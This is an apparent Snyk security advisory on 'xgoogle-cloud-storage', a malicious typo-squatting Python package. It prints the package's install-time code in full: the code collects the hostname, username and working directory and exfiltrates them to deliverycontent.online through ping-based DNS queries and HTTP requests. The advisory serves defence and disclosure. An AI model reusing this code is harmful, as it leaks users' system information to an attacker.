Malicious Package Affecting xgoogle-cloud-storage package, versions [0,]


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Mature

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-PYTHON-XGOOGLECLOUDSTORAGE-2359283
  • published24 Jan 2022
  • disclosed24 Jan 2022
  • creditSonatype Research Team

Introduced: 24 Jan 2022

Malicious CVE NOT AVAILABLE CWE-502  (opens in a new tab)

How to fix?

Avoid using all malicious instances of the xgoogle-cloud-storage package.

Overview

xgoogle-cloud-storage is a malicious package. Apparent typo-squatting attempt. Upon installation, the package collects the system’s username, computer’s name, IP address, and attempts to upload this information both via HTTP and DNS to the following domains:

  • For DNS: .sub.deliverycontent[.]online
  • For HTTP: www.deliverycontent[.]online

Malicious Code

import os
import base64
import random

dns_domain = ".sub.deliverycontent.online"
http_domain = "www.deliverycontent.online"

hostname = ""
try:
    hostname = os.uname().nodename
except Exception:
    pass
if hostname == "":
    try:
        hostname = os.environ['COMPUTERNAME']
    except Exception:
        pass

username = ""
try:
    import getpass
    username = getpass.getuser()
except Exception:
    pass

execution_path = ""
try:
    execution_path = os.getcwd()
except Exception:
    pass

data = "%s;%s;%s;%s" % (hostname, username, package, execution_path)
b64data = base64.b64encode(data.encode()).decode()

data_part_length = 29
parts_count = len(b64data) // data_part_length
if len(b64data) % data_part_length > 0:
    parts_count += 1
parts_count = min(parts_count, 255)

random_number = random.randint(0, 254)

encoded_data = ""
for c in b64data[:data_part_length]:
    encoded_data += "%02x" % ord(c)
data_to_send = "f%s%s%s" % ("%02x" % random_number, "%02x" % parts_count, encoded_data)
domain = data_to_send + dns_domain
try:
    os.system("ping %s" % domain)
except Exception:
    pass

for i in range(1, parts_count):
    encoded_data = ""
    for c in b64data[data_part_length*i: data_part_length*(i+1)]:
        encoded_data += "%02x" % ord(c)
    data_to_send = "%s%s%s" % ("%02x" % random_number, "%02x" % i, encoded_data)
    domain = data_to_send + dns_domain
    try:
        os.system("ping %s" % domain)
    except Exception: 
        pass

encoded_data = ""
for c in b64data:
    encoded_data += "%02x" % ord(c)
data_post = "%s%s%s" % ("gjeiiq1", "%02x" % random_number, encoded_data)
data_get = "%s%s" % ("%02x" % random_number, encoded_data)

try:
    import urllib.request
    r = urllib.request.urlopen("http://%s/p" % http_domain, data=data_post.encode(), timeout=10)
except Exception:
    pass

try:
    import urllib.request
    r = urllib.request.urlopen("http://%s/g?d=%s" % (http_domain, data_get), timeout=10)
except Exception:
    pass

try:
    import requests
    r = requests.post("http://%s/p" % http_domain, data=data_post, timeout=10)
except Exception:
    pass

try:
    import requests
    r = requests.get("http://%s/g?d=%s" % (http_domain, data_get), timeout=10)
except Exception:
    pass

try:
    import urllib
    r = urllib.urlopen("http://%s/p" % http_domain, data=data_post)
except Exception:
    pass

try:
    import urllib
    r = urllib.urlopen("http://%s/g?d=%s" % (http_domain, data_get))
except Exception:
    pass

References

CVSS Scores

version 3.1